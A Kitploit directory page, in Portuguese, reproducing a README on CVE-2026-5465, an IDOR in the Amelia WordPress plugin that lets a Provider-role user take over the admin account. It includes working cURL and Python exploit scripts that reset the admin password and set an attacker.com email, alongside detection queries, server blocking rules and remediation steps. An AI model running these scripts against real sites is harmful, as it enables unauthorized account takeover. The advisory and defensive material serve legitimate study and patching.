Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-5465 — Exploit e análise para CVE-2026-5465, um IDOR no plugin Amelia para WordPress que permite que o papel de Provedor autenticado aumente privilégios e realize a tomada de conta via referência direta insegura a objeto. | Kitploit
Ferramentas/GitHubGitHub/kaleth4/cve-2026-5465
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoConfiguração Incorreta
GitHubkaleth4/cve-2026-5465

CVE-2026-5465

Exploit e análise para CVE-2026-5465, um IDOR no plugin Amelia para WordPress que permite que o papel de Provedor autenticado aumente privilégios e realize a tomada de conta via referência direta insegura a objeto.

Ver Repositório
21há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-5465: Escalação de Privilégios no Plugin Amelia WordPress

⚠️ Resumo Executivo

Vulnerabilidade crítica de Referência Direta Insegura a Objetos (IDOR) no plugin Amelia que permite a um usuário autenticado com papel de Funcionário (Provider) escalar privilégios até a tomada de controle total (Account Takeover) do site WordPress, incluindo acesso administrativo.


📋 Dados da Vulnerabilidade

AtributoValor
CVE IDCVE-2026-5465
SoftwareAmelia – Appointment Booking Calendar
Versões Afetadas≤ 2.1.3
Versão Corrigida≥ 2.2.0
TipoInsecure Direct Object References (IDOR) / Broken Access Control
VetorRede (Autenticado)
ComplexidadeBaixa
ImpactoCrítico (Account Takeover)
CVSS v3.18.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639 (Authorization Bypass)

🔍 Análise Técnica

Mecanismo de Exploração

A falha reside na classe UpdateProviderCommandHandler que processa atualizações de perfil de provedor.

Fluxo vulnerável:

1. Usuário autenticado como "Provider" (Funcionário)
   ↓
2. Envia solicitação POST ao endpoint de atualização
   {
     "externalId": 1,  // ID do admin (não do atacante)
     "firstName": "Admin Hackeado",
     "email": "[email protected]",
     "password": "nova_senha"
   }
   ↓
3. Sistema NÃO valida se 'externalId' pertence ao usuário atual
   ↓
4. Utiliza wp_set_password(externalId, new_password)
   ↓
5. Senha do admin alterada → Account Takeover

Causa Raiz

Ausência de validação de propriedade (Ownership Check) antes de processar dados sensíveis:

// CÓDIGO VULNERÁVEL (Simplificado)
public function updateProvider($providerId, $data) {
    // ❌ NÃO verifica se providerId == usuário_atual
    $provider = Provider::find($providerId);
    
    // Executa diretamente sem validação
    wp_set_password($data['password'], $provider->wp_user_id);
}

// CÓDIGO CORRETO
public function updateProvider($providerId, $data) {
    // ✅ Verifica propriedade
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
}

Parâmetros Exploráveis

ParâmetroTipoImpacto
externalIdIntegerTroca de identidade (IDOR core)
passwordStringModificação de senha
emailEmailRoubo de sessão se for redefinido
firstName, lastNameStringAlteração de dados não crítica

💣 Proof of Concept

Requisitos

  • Conta de usuário com papel "Provider" (Funcionário)
  • Acesso autenticado ao site
  • URL do site WordPress

Exploração Manual (cURL)

#!/bin/bash

TARGET="https://exemplo.com"
PROVIDER_TOKEN="token_autenticado_do_provider"
ADMIN_ID=1

# Obter NONCE de segurança (se existir)
NONCE=$(curl -s "$TARGET/wp-admin/" | grep -oP '_wpnonce[^"]*' | head -1)

# Executar atualização maliciosa
curl -X POST "$TARGET/wp-json/amelia/v1/providers/$ADMIN_ID" \
  -H "Authorization: Bearer $PROVIDER_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "externalId": 1,
    "password": "Compromised123!",
    "email": "[email protected]"
  }'

echo "[+] Se a resposta for 200, o admin foi comprometido"

Exploração Automatizada (Python)

import requests
import json

class AmeliaExploit:
    def __init__(self, target_url, provider_token):
        self.target = target_url.rstrip('/')
        self.headers = {
            'Authorization': f'Bearer {provider_token}',
            'Content-Type': 'application/json'
        }
    
    def exploit_account_takeover(self, target_user_id=1, new_password="Pwned123!"):
        """Explora IDOR para alterar senha do admin"""
        
        endpoint = f"{self.target}/wp-json/amelia/v1/providers/{target_user_id}"
        
        payload = {
            "externalId": target_user_id,
            "password": new_password,
            "email": f"pwned_{target_user_id}@attacker.com"
        }
        
        try:
            response = requests.post(
                endpoint,
                headers=self.headers,
                json=payload,
                timeout=10
            )
            
            if response.status_code == 200:
                print(f"[✓] EXPLORADO: Usuário {target_user_id} comprometido")
                print(f"[*] Nova senha: {new_password}")
                return True
            else:
                print(f"[✗] Falha: {response.status_code} - {response.text}")
                return False
                
        except Exception as e:
            print(f"[!] Erro de conexão: {e}")
            return False

# Uso
if __name__ == "__main__":
    exploit = AmeliaExploit(
        target_url="https://exemplo.com",
        provider_token="eyJ0eXAiOiJKV1QiLCJhbGc..."
    )
    exploit.exploit_account_takeover(target_user_id=1)

🛡️ Indicadores de Comprometimento (IoC)

Logs a Revisar

WordPress Audit Log (se instalado):

Usuário: [Provider ID]
Ação: User Password Changed
Usuário Afetado: Administrator
Timestamp: [Hora suspeita]

Logs de Servidor (Apache/Nginx):

POST /wp-json/amelia/v1/providers/1 HTTP/1.1
Authorization: Bearer [token]
Content-Length: [alta]
→ Resposta 200 OK

Banco de Dados WordPress:

-- Alterações de senha não autorizadas
SELECT ID, user_login, user_registered, user_pass 
FROM wp_users 
WHERE ID = 1 
ORDER BY ID DESC LIMIT 1;

-- Alterações de email suspeitas
SELECT user_email, user_login, user_registered 
FROM wp_users 
WHERE user_login = 'administrator' 
ORDER BY ID DESC;

Sinais de Alerta

  • ✗ Alterações de senha do admin sem solicitação do proprietário
  • ✗ Múltiplas tentativas POST para /wp-json/amelia/v1/providers/
  • ✗ Acessos administrativos de IPs novos/incomuns
  • ✗ Criação de novos usuários com papel Administrator
  • ✗ Alterações na configuração de plugins a partir do papel Provider
  • ✗ Logs de acesso excluídos ou truncados

🔧 Mitigação Imediata

1. Atualizar Plugin (Opção Preferida)

# Via Painel Administrativo WordPress
1. Ir em: Plugins > Plugins Instalados
2. Buscar: "Amelia"
3. Clicar: "Atualizar agora"
4. Versão mínima segura: 2.2.0+

# Via WP-CLI
wp plugin update amelia --allow-root

2. Desativar Plugin Temporariamente

# Via WP-CLI
wp plugin deactivate amelia --allow-root

# Via FTP/SFTP
Renomear: /wp-content/plugins/amelia/ → /wp-content/plugins/amelia-DISABLED/

3. Restrição no Nível do Servidor

Nginx (nginx.conf):

location ~ /wp-json/amelia/v1/providers/ {
    # Permitir apenas GETs
    if ($request_method = POST) {
        return 403;
    }
}

Apache (.htaccess):

<FilesMatch "amelia.*providers">
    <LimitExcept GET HEAD>
        Require all denied
    </LimitExcept>
</FilesMatch>

📋 Passos Pós-Comprometimento

Se o site já foi explorado:

1. Alterar Senhas (Imediato)

-- Alterar senha do admin via CLI
wp user list --role=administrator --field=ID
wp user update [ADMIN_ID] --prompt=user_pass

2. Auditar Usuários e Alterações

SELECT * FROM wp_users WHERE user_registered > DATE_SUB(NOW(), INTERVAL 7 DAY);
SELECT * FROM wp_users WHERE ID = 1;

3. Revisar Sessões Ativas

# Instalar e revisar plugin: WP Session Manager
wp plugin install wp-session-manager --allow-root
wp plugin activate wp-session-manager --allow-root

4. Resetar Chaves de Segurança

// Em wp-config.php, regenerar:
define('AUTH_KEY',         'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('SECURE_AUTH_KEY',  'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('LOGGED_IN_KEY',    'PUT_YOUR_UNIQUE_PHRASE_HERE');
define('NONCE_KEY',        'PUT_YOUR_UNIQUE_PHRASE_HERE');

🔐 Hardening a Longo Prazo

1. Implementar WAF (Web Application Firewall)

Baixar ferramenta